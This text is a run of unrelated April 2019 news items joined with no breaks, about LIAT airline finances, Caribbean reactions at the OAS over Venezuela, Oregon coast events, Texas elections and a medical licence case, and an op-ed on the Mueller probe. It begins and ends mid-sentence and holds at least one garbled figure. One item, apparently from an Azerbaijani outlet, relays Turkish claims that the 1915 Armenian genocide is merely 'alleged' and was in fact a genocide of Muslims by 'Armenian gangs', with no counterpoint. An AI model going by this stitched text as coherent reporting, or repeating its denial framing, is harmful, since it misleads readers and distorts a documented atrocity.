US$960,310, Dominica US$347,923 and St. Vincent and the Grenadines US$7723,711. Grenada, the Vincentian leader said, was the only other government that acceded to LIATs request, with that country promising some EC$1 million. Failure to raise the requisite cash by end of March, and a more recent refusal by LIAT employees to accept a 10% pay cut across the board, have put the airline on path to closure, Dr. Gonsalves said. In that circumstance, he said, it would mean there will be a transitional restructuring leading to closure of LIAT. That period of transition, the Vincentian leader explained, could be marked by, among other actions, the sale of three (3) of LIATs ten (10) aircraft, those three being effectively owned by the Caribbean Development Bank (CDB) which bankrolled their purchase, with the four principal shareholders guaranteeing the loan. It would appear that there was delinquency with respect to repayment as well as the guarantor stepping up to fulfil their obligation. The status of the remaining aircraft would have to be negotiated with the leasers, with whom LIAT has entered into agreement. The sale of the three aircraft would displace up to 33 pilots and a number of inflight personnel and in country staff. All in all, Dr. Gonsalves proffered, the transitional period could result in the setting up of a new entity. But, according to Dr. Gonsalves, there remained for serious consideration an option proposed in a CDB study, i.e. that the airline be "given to the private sector completely. But Prime Minister Browne is having none of what Dr. Gonsalves must have taken pains to admit, and his government quickly moved to say that "Antigua and Barbuda did abide by its promise to provide LIAT with more than one million dollars. "Even if the payments were not made, they will be made, Browne said of Antigua and Barbudas contribution. And in continuing efforts to explain Antigua and Barbudas stance, , Chief of Staff in the Office of the Prime Minister, Lionel Max Hurst, told OBSERVER that he hoped that Gonsalves prediction does not actualize and that the Caribbean airline will pull through, saying, "There are about 700 LIAT workers stationed here in Antigua, and we have a great interest in securing the jobs and ensuring that LIAT continues to do the service that it has done since 1956. Antigua and Barbuda, where LIAT is officially headquartered, Barbados, Dominica, and St. Vincent and the Grenadines are the four shareholders governments that support LIAT financially. Since Dr. Gonsalves disclosure with respect to the precarious situation that confronts LIAT, the Barbados Today online news service reported Barbados Prime Minister Mia Mottley as saying, without giving any real detail, that she has started discussions with the European Investment Bank (EIB) on possible funding for the regional "transportation sector. By Trend Armenia did not open its archives of 1915, Turkish Foreign Ministry spokesman Hami Aksoy said, Trend reports with reference to Turkish media on April 26. He said that Armenia opened only a part of the archives that supports the Armenian claims regarding the events of 1915. Earlier, a source of the Turkish government told Trend that Armenia is afraid to open its archives from 1915. According to the source, opening the archives will show the world that the events of 1915 were not "Armenian genocide"; on the contrary, an extermination and genocide of the Muslim population of the Ottoman Empire by Armenian gangs occurred during the events in 1915. The Turkish government noted that Ankara appealed to Yerevan back in 2005 to open the archives from 1915 and create a joint independent committee for investigating the events of that period. "If the events of 1915 were indeed the 'Armenian genocide' , Yerevan would be ready to open these archives," the governmental representative said. Armenia and the Armenian lobby claim that Turkey's predecessor, the Ottoman Empire, allegedly carried out "genocide" against the Armenians living in Anatolia in 1915. --- Follow us on Twitter @AzerNewsAz By Laman Ismayilova The Azerbaijan Tourism Forum organized by the Tourism Lab has been held at the Heydar Aliyev Congress Center in Gabala. The event was attended by about 250 tourism professionals, heads of Baku and regional hotels, representatives of travel agencies, media and travel bloggers, Trend Life reported. The Forum aims to introduce the tourism opportunities of the country, future perspectives, modern technological innovations into the development of the countrys tourism, discuss legislation and its issues and the challenges that each tourism related company face. The newly established Tourism Laboratory (Tourism Lab) was presented at the forum. Addressing the event, the head of Tourism Lab Havva Safarova stressed that the company's goal is to create innovations in tourism. She also provided information on such projects as "Azerbaijan Hospitality Academy (AHA)", "Tourism Students", "MeetUp", and "Superkids Summer Camp". Safarova also presented the Azerbaijan Tourism Awards, which at the end of the year will be presented to the best travel companies, hotels, restaurants and even tourists. Registration starts on May 1. For more information, please visit www.tourismawards.az. The speakers made speeches on several topics. Seymur Hajiyev, Gilan Hospitality Group's Procurement Director, spoke about "General aspects of hospitality procurement and their optimization, creation of electronic procurement platform"; Shabnam Suleymanova, Managing Director of Caucasus Tufandag Hotel Gabala, presented "Development of Mountain Tourism: Solution for low season"; Goydeniz Gahramanov, Head of Spektr Travel, spoke about "Current influx of tourists on the market and price competition". Also, Orkhan Isayev, Regional Director of HRS-Hospitality and Retail Systems, presented "Application of Modern Technologies in Hotels and Restaurants"; Daniel Burkhard, General Manager of Chenot Palace Hotel, spoke about "Therapeutic Tourism"; David Khripunov, Founder of David Digital Sharks, spoke about "City branding"; and Rivka Khripunova, founder of distant English courses, presented "Globish". Then speakers answered questions of the audience. The Azerbaijan Tourism Forum is held for the fourth year, bringing together specialists and playing a key role in discussing problems in the field of tourism. All these activities, emphasizing the best examples of national tourism, represent a search for various ways of developing tourism and solutions. The Forum is the first and only platform in Azerbaijan which is open to anyone interested in not only the tourism industry, but also in other spheres, as well as in the creation of a new business in tourism. Creating contacts is one of the main Forum trends. Media partners of the event are Azernews.az, Trend.az, Day.az, Milli.az. --- Laman Ismayilova is AzerNews staff journalist, follow her on Twitter: @Lam_Ismayilova Follow us on Twitter @AzerNewsAz The Royal St. Vincent and the Grenadines Police Force (RSVPF) said that they are investigating the assault of a young man at South Rivers last Friday, and as of Wednesday, had taken one man into custody. An official release from the RSVGPF read: "Consequent upon the circulation of video on social media/Facebook on Sunday April 21, 2019 where a young man was seen being physically attacked in South Rivers; the Royal St. Vincent and the Grenadines Police Force launched an investigation into the incident. As a result, one man is currently in custody assisting the police with its investigations. The release also encouraged persons who might have information on the matter, to contact the police. The video referenced, posted over the Easter weekend, showed a young man, accused of being gay, being hit and taunted by villagers, as he made his way along one of the villages roads. Some villagers could be seen hitting the man, while others could be heard shouting, "Alyo leave the boy, and more sarcastically, "Alyo leave Jane, ha Jane he say he name. The young man could be seen to be continually hit about his head and some villagers were seen to search the knapsack he was carrying. Fortunately for the young man, he was taken to safety by persons in a passing vehicle, who had slowed their vehicle to get a hint of what was happening This is the second such incident that this country has captured on video and posted on social media in recent times. Readers will recall a similar incident in Calliaqua in December 2018. Some readers might also recall an even more telling but related incident when, in November 2017, a young man deemed to be gay was stabbed in Kingstown. Caribbean membership accounts for 14 votes of the Permanent Council of the Organization of American States (OAS). Inset: Ambassador Lou Ann Gilchrist was one of four Caribbean representatives to leave the room. St. Vincent and the Grenadines (SVG) Ambassador was among ambassadors from at least four Caribbean countries that left the room, before a Venezuelan opposition envoy addressed the Organization of American States from his countrys seat, last Tuesday. The other countries were Barbados, St. Kitts and Nevis, and Trinidad and Tobago. The walk-out followed earlier (April 20) joint indication in writing from eight Caribbean Community (CARICOM) countries to the Chair of the Permanent Council of the Organization of American States (OAS), protesting the decision of the Council to accept, by simple majority, the appointment of Gustavo Tarre, a representative of the Opposition in Venezuela, as the new Permanent Representative of that country to the hemispheric body. The Caribbean countries so protesting were Antigua and Barbuda, Barbados, Belize, Dominica, St. Kitts-Nevis, St. Vincent and the Grenadines, Suriname and Trinidad and Tobago. SVG is represented at the OAS by Ambassador Lou-Ann Gilchrist, who is also the countrys ambassador to the United States, as well as non-resident High Commissioner to Canada. It was the first time an opposition envoy was addressing the organization in the two decades since a socialist administration rose to power in the South American nation. The ambassadors left the room before Gustavo Tarre spoke, showing their opposition to the OAS recognition of Venezuelas opposition representative. Tarre delivered his speech during a session held by the Permanent Council of the OAS exactly three months after Juan Guaido, leader of Venezuelas opposition-controlled congress, declared himself the countrys interim president in an escalating confrontation with President Niclolas Maduro. The U.S. and most of the regional groups 34 member states recognize Guaido as Venezuelas interim leader. Tarre plans to keep attending OAS sessions and representing Venezuela, even though Maduros government announced plans to hold a rally next Saturday to celebrate its departure from the organization. Samuel Moncada, Venezuelan ambassador to the United Nations and the only chief of a diplomatic mission loyal to Maduro currently on U.S. territory, used to attend OAS sessions representing his country. But the State Department recently restricted his movements to a 25-mile (40-kilometer) radius around New York. The OAS and the Inter-American Development Bank are the only two multilateral organizations that recognize Guaido as interim president of Venezuela. St. Vincent and the Grenadines stands firmly in support of the Nicola Maduro-led administration in Venezuela. Reader: I am so upset about the news at noon about (Monsignor) Craig Harrison and some man s REACTION ON SOCIAL MEDIA Hundreds of comments were left on a Facebook post by Monsignor Craig Harrison on Thursday in which he defended himself against the allegations of sexual misconduct. Marjorie Holt: "You baptized my husband 18 years ago as an adult convert. You blessed our marriage. My adult children and grandchildren appreciate all youve done for us and continue to do. We stand behind you and know how filled with grace you are. This too, shall pass. Forgive them Father, for they know not what they do." Donny Youngblood: "Remember, in our country, Innocent until PROVEN guilty!" Mark Monreal: "Many prayers to you Monsignor Harrison. The truth always comes out and sets us free." Jean Manuszak West: "Monsignor, please know you are in my prayers ... the devil never stops." Katie Plaza: "I don't believe this for a minute ... never" Carla Serban: "We are praying for you!!!! This is all so unbelievable. You have been there for our entire family in countless ways and we have always been so grateful for you. Stay strong and may God pour out his abundant Love over you. We love you!!" Vince Guthrie: "I served as an altar server under (Father Craig) for most of my childhood/young adulthood. During that time I was always treated with love and respect from you! You taught me about responsibility and serving the church as well as the lord. Thoughts and prayers for you buddy." Kathy Gargan: "My late mother would always tell us in times of trouble 'it's time to circle the wagons'. Monsignor Craig there are thousands of wagons protecting you with love and gratitude." Bakersfield, CA (93308) Today Rain likely. High 56F. Winds WNW at 5 to 10 mph. Chance of rain 100%. Rainfall near a quarter of an inch.. Tonight Overcast with rain showers at times. Low near 50F. Winds light and variable. Chance of rain 90%. Francisco Perez Santana, Head of the Venezuelan Mission in SVG, called for a full denouncing of the US-imposed sanctions on Venezuela. The on-going opposition to the Nicolas Maduro led administration in Venezuela, which has resulted in an ongoing conflict in that country, has made headlines internationally, fueled by President of the United States, Donald Trumps rallying support from its allies for a military intervention. Speaking at a press briefing on April 16, Francisco Perez Santana, Head of the Venezuelan Mission here in St Vincent and the Grenadines, said that the US was using all in its power including cyber-attacks, sanctions, financial blockades and boycotting the purchase of the countrys oil, resulting in an escalation of the conflict in Venezuela. According to Perez, sanctions had been placed on six international companies that transport Venezuelas oil, including a boycott against the local oil company, PDVSA. But it was important for the people of Venezuela and its partners to denounce any plan for military intervention, he added. "We have to resist all the different strategies that the United States and its allies are taking against our process and people, Perez said. And as the US looks to intervention as a means to end the conflict, the Head of the Venezuelan Mission in SVG noted that they had support from countries such as Russia, China, Iran and Turkey. It was explained that throughout history, there have been countries that have had to endure similar challenges, but the difference with Venezuela is that they had good partners, particularly since the US was rallying support among some of the countrys South American neighbours including Brazil and Colombia. Perez explained that Venezuela was currently selling oil not just to Russia and China, but also to India and Turkey. "And we have different types of agreements with countries and these are now taking place, he added. Russia and China have spoken out against plans for military intervention, and it had been announced recently that Venezuela will be looking to increase its militia by adding one million more soldiers. Perez further noted that the sanctions needed to also be denounced as it was having a negative impact on the Venezuelan people. People were dying while others were suffering from malnutrition; the country lacked certain medication and food because of the sanctions. Nevertheless, Venezuela was still standing, he said, although the estimated cost of the financial blockade and sanctions have reached into billions of dollars, the Venezuelan official said. "What they are trying to do with the international organizations is the worst crime against humanity because when a power like the US with countries that are our neighbours have a meeting to talk about our country and the possibility of military intervention, that is very important and we have to denounce that, Perez said. Yachats and Florence in May: Lighting Up the Oregon Coast for Spring Published 04/24/2019 at 5:53 AM PDT By Oregon Coast Beach Connection staff (Yachats, Oregon) What Yachats, Waldport and Florence have in store for you in May will amaze. The town at the halfway mark down the Oregon coast Florence puts on some extremely fun festivals, and Yachats follows suit. Music, science and a pride festival light up Yachats (and maybe throw some glitter on it), while the surrounding area beaches see a host of engaging nature activities. Heres a look at the calendar of events for spring. Every Day: Heceta Head Lightstation Tours. Free docent led tours of the Heceta Head Lightstation (lighted around 1894). 11 am -3 pm. Heceta Head Lightstation is 14 miles south of Yachats on US 101. $5/vehicle/day use fee or valid OSP parking pass or Oregon Coast Passport. Yachats, Oregon. 866.547-3696. https://www.hecetalighthouse.com/. Mondays: Walk with a Ranger, Cape Perpetua. The series invites visitors on guided hikes that are approximately an hour long and held on easy to moderate trails starting from the Cape Perpetua Visitor Center. Learn secrets of the Cape and local flora and fauna from a retired chief park ranger. Offered Memorial Day through August. The Cape Perpetua Visitor Center is just 3 miles south of downtown Yachats. Noon. $5/vehicle/day use fee or valid recreation pass or Oregon Coast Passport. Cape Perpetua Visitor Center. 2400 Hwy 101 S. Yachats, Oregon. 541-547-3289. May 2. Yachats Big Band Dance. Listen, dance or both to the swingin sounds of this longtime Oregon coast tradition: a 17-piece band. $5. 7 p.m. Yachats Commons. 441 Hwy 101 N. Yachats, Oregon. 541-547-3626. www.yachatsbigband.com. May 4. Oregon Coast Gravel Epic. Riders get an unvarnished challenge a full day of adventure in the Siuslaw National Forest and rural towns on the central Oregon coast. The ride showcases the raw beauty of ancient Siuslaw National Forest scenery. It consists of 50% pure logging roads that are unpaved and the other 50% smooth pavement left over from decades of active logging that still exists to this day. Waldport, Oregon. 541-225-7946. http://www.oregontriplecrown.com May 4. Report on a Journey to the Beginning of Time. University of Oregon physicists are participating in an adventure that recreates the conditions of the early universe at the Large Hadron Collider, the largest scientific instrument ever created on earth. This research is revolutionizing our view of the universe. James Brau, Philip H. Knight Professor of Natural Science at the University of Oregon, led the UO experimental team on the ATLAS experiment at the Large Hadron Collider near Geneva. 6:30 p.m. $5. Yachats Commons, Yachats, Oregon. https://www.yachatsacademy.org/ May 11. Cape Cove Beach: Marine Debris Monitoring on the Oregon Coast. Give one to two hours of your time contribute to science and clean up beaches touching Cape Perpetua Marine Reserve and Protected Areas. Noon. Cape Perpetua Visitor Center. 2400 Hwy 101 S. Yachats, Oregon. 541-547-3289. website. May 18. Pacific Brown Pelican Survey. 18 sites along Oregons Coast from Chetco Point on the south coast to to Fort Stevens on the north coast: volunteers needed to count pelicans in the area. 5 p.m. In Yachats see website. May 19. Yachats Farmers Market. An ongoing source of fresh, locally grown and organic produce, local artisan foods products, and locally made natural crafts. Held Sundays, 9 am 2 pm, May 12 through October 20. W. 4th Street off Hwy 101. Yachats, Oregon. yachatsfarmersmarket.webs.com/. May 22. Muriel O. Ponsler: Marine Debris Monitoring. Volunteers needed for an hour or two to help clean up beaches and contribute to science at the same time. The data collected through this project can be used to evaluate the impacts of marine debris along our coastlines and can help inform future marine debris mitigation and prevention efforts on a local, regional, and national scale. 10 a.m. Muriel O. Ponsler Memorial State Wayside near Florence. website. May 30. Beach Cleanup and Land-Sea Conservation Talk. Beach cleanup, removing trash and plastic. 11 a.m. Meet at the top Cape Perpetua scenic overlook stone shelter (also known as Cape Perpetua Day Use Area. Stonefield Beach State Park. Near Florence, Oregon.website. May 31 June 2. Yachats Pride! This event kicks off Friday evening and offers a full schedule of events on Saturday and Sunday. See website to purchase your concert and Pride Feast tickets and for program details. Times vary. Throughout Yachats, Oregon. http://yachatspride.org. Lodgings in Yachats - Where to eat - Yachats Virtual Tours Florence April 27. Murder on the Oriental Rug a Murder Mystery Dinner. A play within a play, with a mystery dinner show that spoofs old-fashioned whodunits, the medical profession, female problems, and theater folks. When half of the cast of Murder on the Oriental Rug bails out, the remaining performers are stuck playing all the roles. During the first act, youll meet a Shakespearean actor with a drinking problem, a washed-up former child star, a woman with a short memory, and a hapless costumer who finds herself onstage - playing a man. The Florence Elks Lodge. 1686 12th St. Florence, Oregon. (541) 999-9392. www.lastresortplayers.com/ May 10 - 11. C.R.O.W. Dance Showcase. Dancers of all ages will take the stage as C.R.O.W. presents a mixed genre Spring Dance Showcase. The Flight Dance Team will debut several original choreography pieces, including a sassy jazz called I Feel it Still, an upbeat retro tap titled Someday, and a brand new hip hop piece called Pray. The Showcase will feature class performances by C.R.O.W.s Youth Ballet, Contemporary, and Hip Hop classes, and local adult dancers will dazzle audiences with exotic and unusual genres. Florence Events Center. 715 Quince Street. Florence, Oregon. http://www.eventcenter.org/ May 15 - 20. 2019 Rhododendron Festival Rhody Days. The stars of the festival are the rhododendrons, but theres plenty more going on. Spectacular display of hundreds of Rhododendrons takes place at the Florence Events Center. Enjoy the Street Vendor Fair, Car Show, 5K run and the Carnival with rides, games and a few surprises. Sunday features 112th annual Rhododendron Floral Parade. The festival officially begins with the Rhody Showcase to crown Queen Rhododendra Wednesday May 16. Throughout Florence, Oregon. 541-997-3128. florencechamber.com. More About Oregon Coast hotels, lodging..... More About Oregon Coast Restaurants, Dining..... Coastal Spotlight LATEST Related Oregon Coast Articles Back to Oregon Coast Contact Advertise on BeachConnection.net All Content, unless otherwise attributed, copyright BeachConnection.net Unauthorized use or publication is not permitted TAMPA, Fla. (AP) A Florida man is being treated for flesh-eating bacteria he contracted while fishing in the Gulf of Mexico. Mike Walton tells Tampa television station WFTS that he was stuck by a fish hook while fishing about 20 miles (32 kilometers) off the coast of Palm Harbor on Saturday. He later went to a hospital, where he received antibiotics for his hand, which had started swelling. A partner in the Medical Center of Southeast Texas-Victory Campus in Beaumont has had his license restricted so that he can no longer perform breast surgeries, the Texas Medical Board announced this week. The action against Dr. Garrett Peel comes 2 months after the medical center suspended some procedures at its Victory campus, off Dowlen, in the wake of an investigation by the Centers for Medicare and Medicaid Services. A Dec. 10 report from CMS cited an unnamed physician and aide for performing breast surgeries they werent authorized to perform. RELATED: Some services suspended at Beaumont medical facility That report also listed 10 separate violations that included improper actions during hip replacements, lack of proper sterilization procedures and a lack of oversight from the institutions governing board. The state medical board announcement this week did not specifically cite the CMS investigation. The board panel found, based on evidence provided, that Dr. Peel has established a pattern of patient care that deviates significantly from the applicable standard of care in his surgical practices, it said in a statement. In an interview Thursday, Peel said several Beaumont doctors attended the Texas Medical Board session in Austin on Tuesday to rehash gossip and innuendo from the past 10 years. They pieced half-truths together to objectify allegations and attempted to convince the board to remove my license, Peel said. They were unsuccessful to do this because the facts were facts and show no trend as alleged. Peel said data from his time at Baptist Hospitals of Southeast Texas between 2009 and 2015 showed he performed about as many surgeries as his peers, and his recovery rates were exceptional. After transitioning to a private practice and partnership with Medical Center of Southeast Texas, Peel voluntarily resigned his privileges with Baptist. He was provided with a letter of good standing in 2017 that stated he had not been involved in any investigations during his tenure there. Peel also said the doctors who filed the complaint with the medical board were using the CMS investigation to bolster their case. Surgery comes with certain risks, and every patient will not have the same outcomes, Peel said. There are complications that can arise and every physician and surgeon does their best to manage this. I take full responsibility for my complications and go above and beyond to manage the risk. The Texas Medical Board has not scheduled a follow-up meeting with Peel concerning his license status. jacob.dick@beaumontenterprise.com Voter turnout across Southeast Texas is a mixed bag this year, with Nederland above average as expected and Beaumont trending downward despite a high number of candidates and contested municipal races. The city of Nederland has seen 1,742 of 11,657 registered voters cast their vote thus far, which city staff says is higher than previous years. The citys election is combined with the Nederland ISD race, which includes a contentious bond issue. The proposed $155.6 million bond is the third time in a decade that a school bond issue has been put before voters in the city. They rejected it in 2009, split in 2012 approving $28 million for heating and cooling upgrades but declining $50 million to rebuild two schools. This year, some residents against the bond say it would raise the cost of local goods and services as business owners compensate for the extra expense. Those in favor of the bond say they dont want to lose the possibility of young couples relocating to the area because the schools arent up to par. Nederland voters are also voting on a few City Council races and charter changes. In Beaumont, City Clerk Tina Broussard said voting totals are down. So far, 3,267 of 70,976 registered voters have voted. More Information Southeast Texas early voting times, locations (weekdays only unless otherwise noted) Election Day is May 4, 2019 Beaumont early voting times 8 a.m. to 5 p.m. April 26 7 a.m. to 7 p.m. April 27, 29-30 Beaumont early voting locations Jefferson County Courthouse, 1085 Pearl Rogers Park Recreation Center, 6540 Gladys Theodore Johns Library, 4255 Fannett John Paul Davis Community Center, 3580 E Lucas BISD Administration Bldg., 3395 Harrison China early voting times 8 a.m. to 5 p.m. April 26-28 7 a.m. to 7 p.m. April 29, 30 China early voting location China City Hall, 717 North Broadway Regular election day: May 4, 2019 Nederland early voting times 8 a.m. to 5 p.m. April 26-29 7 a.m. to 7 p.m. April 30 Nederland early voting location Nederland City Hall, 207 N. 12th St. Port Arthur early voting times 8 a.m. to 5 p.m. from April 26-29 7 a.m. to 7 p.m. April 30 Port Arthur early voting locations Port Arthur City Hall, 444 Fourth St. Early voting will also be available 8 a.m. to 5 p.m. April 26-30 at the Port Arthur Public Library, 4615 Ninth Ave. Silsbee early voting times 8 a.m. to 5 p.m. April 26-30 Silsbee early voting location Silsbee City Hall, 105 S. Third St. Orange and Vidor early voting times 8 a.m. to 8 p.m. April 30 8:30 a.m. to 4:30 p.m. April 26 - 29 Orange and Vidor early voting locations Orange Public Library, 220 N. Fifth St. Bridge City ISD Administration Bldg., 1031 W. Roundbunch Rd. Raymond Gould Community Center, 385 Claiborne West Orange early voting times 8 a.m. to 5 p.m. April 26 - 30 West Orange early voting location West Orange City Hall, 2700 Western Ave. See More Collapse With all the people running I thought our totals were going to be higher, Broussard said. Hopefully our turnout will be better on Election Day. The city has 19 candidates for six contested races at the higher end of what Broussard has seen during her time as city clerk. Shes not sure why voter turnout would be down this year. In Port Arthur, 876 of 28,174 voters have cast their vote. No one from the city could be reached to discuss how that compares to previous years. Voters are choosing Port Arthur Port Commissioners and a Mayor. Early voting in Southeast Texas continues through Tuesday. Election day is May 4. Check back with The Beaumont Enterprise online for more updates on municipal elections across the area. kaitlin.bain@beaumontenterprise.com twitter.com/KaitlinBain If Sylvia Root is elected to Nederland City Council this cycle, she might not be able to run for re-election while living at her current address. Root, who faces retired firefighter David Guillot, lives just outside the Ward 4 boundaries. That is legally permissible because Nederland, unlike many cities, doesnt require representatives to live in their district. All that could change after the May 4 election because of a charter amendment on the ballot that would require council members to physically reside in their ward. Root said that when she filed, she thought she lived in Ward 4. After realizing she actually lives in Ward 2, she decided to stay in the race because it wasnt against the law and didnt seem like a big deal. As for me, Im here to represent everybody, not just a section of Nederland, she said. And when I talked with residents, they didnt even know what ward they live in. Maybe we should rethink wards all together. If Root were to have run in Ward 2, she would have faced Billy Neal, an incumbent first elected to the council in 2002 who was not challenged in this race. Instead, Root and Guillot are competing for the open position vacated by Craig Belaire, who is not seeking re-election. City Manager Christopher Duque said staff spoke with the Secretary of States Office as well as attorneys from the Texas Municipal League to verify that Root was allowed to run. They agreed that, if elected, Ms. Root would be allowed to serve a term and then if she were to run for re-election in three years, she must live in the ward if the charter position that stipulates you must live in the ward you represent passes, he said. Guillot said people have told him they dont think Root should be running, but he doesnt have a problem with it. I cant knock her for running because what shes doing isnt illegal, he said. She has the right to run if she wants to and were running a fair and clean campaign. I like having an opponent. Its a coincidence that the charter proposal is on the same ballot as a race that it could be applied to, Duque said. The city staffers were crafting a charter provision to address terms of filing a vacancy and began looking for other issues, he said, and took the opportunity to clarify language about ward representation. When the City Council adopted the call for a special election, that was one of the proposals they included on the ballot, he said. Theres more nuance to the way Nederland conducts its elections. Although council members are elected to represent specific wards, every voter in the city is allowed to vote on every race. kaitlin.bain@beaumontenterprise.com twitter.com/KaitlinBain By Trend An international conference in IT sector will be organized in Azerbaijan this June, Trend reports referring to Azerbaijans State Customs Committee (SCC). Chairman of Azerbaijans SCC, Lieutenant-General of the Customs Service Safar Mehdiyev met with Secretary General of the World Customs Organization (WCO) Kunio Mikuriya, according to the report. The meeting was held in St. Petersburg as part of the WCO Europe Region Heads of Customs Conference. Issues on the ongoing preparatory measures were discussed. Mehdiyev noted that fruitful cooperation is established between the WCO and the Azerbaijani customs, adding that these ties will continue to develop, and also expressed confidence in achieving new success thanks to joint cooperation. Speaking about the reforms carried out in Azerbaijan under the leadership of President Ilham Aliyev, Mehdiyev stressed that transparency was strengthened in the customs sphere, and the activity of customs authorities was further improved. By Trend In March 2019, 4,200 ships arrived at Turkish ports, Trendreports referring to the Turkish Ministry of Transport and Infrastructure. The gross registered tonnage of all vessels in March 2019 amounted to 69.218 million tons. In March 2019, 1,500 ships sailing under the Turkish flag and 2,700 ships sailing under flags of other countries arrived at Turkish ports. The gross registered tonnage of ships arrived at Turkish ports under the Turkish flag in March 2019 amounted to 10.799 million tons, and the gross registered tonnage of ships under flags of other countries was 58.419 million tons. According to the Ministry, in the 1Q2019, Turkish ports received 11,700 ships with the gross registered tonnage of amounted to 190.350 million tons. In the 1Q2019, most of the ships were received by the port of Izmit (1,400 vessels) and the port of Aliaga (861 vessels). Number of ships arrived at Turkish ports in the 1Q2019: The Texas House and Senate have enough state business to occupy their time, especially because the Legislature meets only every two years in regular session. Because of that reality, those lawmakers should stop spending time on bills that would regulate how cities in Texas conduct their own affairs. At issue are ordinances in cities like Dallas, Austin and San Antonio that would require most employers to provide paid sick leave to their employees. Ordinances like that are mostly supported by Democrats, while the Legislature remains controlled by Republicans, who are more business-friendly. The issue can be debated, though we think that paid sick leave is a real boost for Texas workers and helps the state overall. But it should be debated in the city councils of Dallas, Austin, San Antonio, etc., not the state Legislature. Those city council members are closely attuned to what is happening in their cities. In most cities, controversial ordinances are passed only after considerable discussion by council members and city residents. But above all, its a local issue. The state legislators who oppose these ordinances say they create a patchwork of regulations that are difficult for businesses to navigate. But most cities in Texas will not pass such ordinances, including the many suburbs that ring big metropolises like Houston and Dallas. As it is, the cities of Texas have a variety of ordinances that may or may not exist in other towns. Theres just not that much uniformity now. So if an employer doesnt want to locate in a city with a sick-leave requirement, it could easily find a place with no such rules. And if city residents eventually decide that ordinances like that were a mistake, they can persuade their city council to reverse it, or elect new members who will. Thats Democracy 101, and it happens all the time in Texas cities on many kinds of issues. The same state legislators who are trying to prohibit these kinds of local ordinances in Texas cities revere the concept of local control in the 1,031 public school districts in the state. And they should, because local control allows those districts to adjust their school practices and policies to local conditions. That concept works well for Texas school districts, and it can work just as effectively for Texas cities. State lawmakers should back off and concentrate on their business. As former Texas Sen. Phil Gramm observed years ago, One size doesnt fit all. One size fits one. Special counsel Robert Muellers investigation is over, but the reverberations of the Trump-Russia affair live on. One such after-effect is the reluctance of some important figures in the 2016 campaign to speak out, for fear of continued legal entanglements. Take J.D. Gordon, who served as the Trump campaigns director of national security. Never accused of any wrongdoing, he played a central role in one of the most controversial and least understood episodes of the Trump-Russia matter: the approval of the 2016 GOP platform at the Republican National Convention in Cleveland. On July 18, 2016, The Washington Post published a story headlined, Trump campaign guts GOPs anti-Russia stance on Ukraine. Below a scandalously erroneous headline, the piece reported that the campaign, acting contrary to the views of almost all Republican foreign policy leaders, killed a proposal that the United States provide lethal aid to Ukraine in its struggle against Russia. Why would the campaign do that? Democrats quickly accused Trump of watering down national security, of selling out Ukraine, to please Vladimir Putin. It got worse. As a media frenzy built, Trump opponents cited the platform as Exhibit A in their case that the Trump campaign and Russia conspired to influence the 2016 election. As the tale went, the Russians helped Trump, he was in their debt, and he paid them back by supporting weakened U.S. policy toward Ukraine. It was all entirely wrong. If anyone had bothered to look into the facts almost no one did they would have discovered that the original draft of the GOP platform was quite strong on Russia and Ukraine. Not a word of it was removed. Then a single delegate proposed an amendment that would have added promises of tougher U.S. sanctions on Russia, greater military coordination with NATO, and the provision of lethal defensive weapons to Ukraines armed forces. Gordon was the Trump staffer in the meeting as delegates considered the amendment. He did not object to the proposal of tougher sanctions, did not object to the proposal of greater military coordination with NATO, but changed the proposal to provide lethal defensive weapons to a promise of appropriate assistance to the armed forces of Ukraine. (Gordon later told investigators he changed part of the amendment because he felt it was not in line with candidate Trumps position on Ukraine.) The revised amendment was accepted, and the final platform was tougher on Russia and Ukraine than the original platform draft. It was not gutted. It was strengthened. Nevertheless, the media and Democrats ran with the opposite story, and the gutting of the platform became part of the collusion narrative. And then the investigations started. Gordon was called to testify before the Senate Intelligence Committee. He was called to testify before the House Intelligence Committee. He was called to testify before the Senate Judiciary Committee. He was called to testify three times before Mueller. Again: He was never accused of any wrongdoing. But each time, Gordon had to hire a lawyer. He wont reveal precisely how big his legal bills were, but says they were in five figures. His communications business took a big hit. One bright spot was that Gordon had a military pension to help him get along. He spent 20 years in the Navy, retiring with the rank of commander. He was a Pentagon spokesman during the last years of the George W. Bush administration. Now the Mueller investigation is over, and the special counsels report finally, definitively destroys the gutted the platform narrative. The report says nothing about any quid pro quo with Russia, nothing about softening the platform in exchange for Russian help with the election, nothing about any of the anti-Trump theories that arose around the platform. Now Gordon should be able to move on. But he cannot. Recently, I invited Gordon to appear on my weekly podcast. I thought it would be interesting to have an in-depth discussion of the whole platform affair. He declined. Although he has done some media appearances, Gordon was reluctant to have a long conversation. He has reason. Remember a few weeks ago when House Judiciary Committee Chairman Jerrold Nadler sent document requests to 81 people as part of a new investigation into threats against the rule of law? Gordon was one of them (although he had given the same documents to multiple congressional committees and to Mueller). For all anyone knows, Democrats might want to call him to testify about the discredited platform story yet again. And if Gordon were to speak out at length now, Democratic staffers might well pore over every word to see if they could find any inconsistency with his hours of testimony before the House, Senate and special counsel. And that could lead to even more questions. And bills. So better to lie low. And that leaves everyone worse off. After an investigation cloaked in secrecy, the public needs to know more, not less, about what Mueller did. The people involved should be able to tell their stories without fear of being caught in still more investigation. Byron York is chief political correspondent for The Washington Examiner. Here are three gastroenterologists featured in Becker's ASC Review this past week: Adnan Altaf, MD, performed the first "awake endoscopy" procedure at Oklahoma City's OU Children's Hospital, examining the esophagus of a 12-year-old boy. The Cleveland Clinic Pediatric Institute named pediatric gastroenterologist Karen F. Murray, MD, as its new chair, as well as the physician-in-chief of Cleveland Clinic Children's and president of the Cleveland Clinic Children's Hospital for Rehabilitation. Stanford (Calif.) University researchers created a blood-based colorectal cancer test that they'll soon begin testing clinically. Stanford professors Uri Ladabaum, MD, and Shan Wang, and graduate student Jared Nesvet, created the test. A new report authored by researchers at the Massachusetts Institute of Technology in Cambridge and published in the journal Nature outlines the need for the establishment of a new field of study to better understand the abilities, impact and underlying mechanisms of artificial intelligence. The paper's authors, including collaborators from universities such as Stanford, Harvard and Yale, and tech giants Microsoft, Google and Facebook, called for the study of "machine behavior," akin to research surrounding human and animal behavior. "Machines powered by artificial intelligence increasingly mediate our social, cultural, economic and political interactions," they wrote. "Understanding the behavior of artificial intelligence systems is essential to our ability to control their actions, reap their benefits and minimize their harms." Machine behavior, then, would be an interdisciplinary topic rooted in the field of computer science but also incorporating data from other sciences, as well as industries like healthcare, economics and politics that are already implementing AI algorithms into everyday tasks. "We're seeing the rise of machines with agency, machines that are actors making decisions and taking actions autonomously," Iyad Rahwan, PhD, one of the paper's lead authors, told the MIT Media Lab. "This calls for a new field of scientific study that looks at them not solely as products of engineering and computer science but additionally as a 